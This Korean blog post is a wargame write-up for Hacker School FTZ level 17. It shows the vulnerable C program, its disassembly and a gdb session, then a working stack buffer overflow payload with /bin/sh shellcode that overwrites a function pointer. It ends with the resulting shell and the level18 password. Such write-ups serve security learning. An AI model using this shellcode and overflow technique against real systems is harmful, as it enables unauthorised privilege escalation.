Hackershcool level17 = )

 

해커스쿨 FTZ 레벨17 [BOF]

 

#include <stdio.h>

void printit() {

printf("Hello there!\n");

}

main()

{ int crap;

void (*call)()=printit;

char buf[20];

fgets(buf,48,stdin);

setreuid(3098,3098);

call();

}

 

17번 문제의 소스를 보면 fgets에 취약점이 존재하고 setreuid로 권한상승이 이뤄지고 있다.

 

0x080484a8 <main+0>:push%ebp

0x080484a9 <main+1>:mov%esp,%ebp

0x080484ab <main+3>:sub$0x38,%esp

0x080484ae <main+6>:movl$0x8048490,0xfffffff0(%ebp)

0x080484b5 <main+13>:sub$0x4,%esp

0x080484b8 <main+16>:pushl0x804967c

0x080484be <main+22>:push$0x30

0x080484c0 <main+24>:lea0xffffffc8(%ebp),%eax

0x080484c3 <main+27>:push%eax

0x080484c4 <main+28>:call0x8048350 <fgets>

0x080484c9 <main+33>:add$0x10,%esp

0x080484cc <main+36>:sub$0x8,%esp

0x080484cf <main+39>:push$0xc1a

0x080484d4 <main+44>:push$0xc1a

0x080484d9 <main+49>:call0x8048380 <setreuid>

0x080484de <main+54>:add$0x10,%esp

0x080484e1 <main+57>:mov0xfffffff0(%ebp),%eax

0x080484e4 <main+60>:call*%eax

0x080484e6 <main+62>:leave

0x080484e7 <main+63>:ret

 

disas main을 해보면 Buf의 크기는 0xffffffc8, 즉 ebp-38지점에서 문자열을 입력받고 있기때문에 56byte라는 것을 알 수 있다.

 

(gdb) x/x 0x8048490

0x8048490 <printit>:0x83e58955

 

main+6에서 0x8048490의 값을 확인해본 결과 printit함수의 시작 부분이라는 것을 알 수 있었고 이 주소를 ebp-16지점에서 함수의 주소를 저장하고 있다. 이 ebp-16의 주소를 다시 eax에 복사 후 eax에 저장된 주소를 포인터로 호출하고 있다. 따라서 printit함수의 주소가 들어간 ebp-16부분에서 쉘코드의 주소를 넣어주면 된다. 그렇다면 이제 ebp-16의 위치에 들어갈 쉘 코드가 어디에 입력되는지만 알아보면 될 것이다.

 

(gdb) b *main+33

Breakpoint 1 at 0x80484c9

(gdb) r

Starting program: /home/level17/attackme

AAAAAAAA

Breakpoint 1, 0x080484c9 in main ()

(gdb) x/x $eax

0xbffffae0:0x41414141

 

fgets함수의 다음 부분인 main+33지점에서 브레이크포인트를 걸고 eax의 값을 확인한 결과 입력한 값이 저장되는 주소를 확인할 수 있었다. 이제 저 지점에 쉘코드가 들어가게 되고 ebp-16에서는 0xbffffae0를 넣어주면 될 것이다.

 

ret

ebp

Buf = 56byte

쉘코드의 주소값 = bffffae0

Dummy = 15byte

Shell Code = 25byte

 

준비한 쉘코드는 프로그램에서 이미 권한상승이 이뤄지므로 기본적으로 쉘만 실행하는 코드로 준비했다.

따라서 다음과 같은 명령으로 Level18의 쉘을 얻을 수 있을 것이다.

 

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*15+"\xe0\xfa\xff\xbf"

 

whoami

level18

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it".







'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

+ Recent posts

티스토리 툴바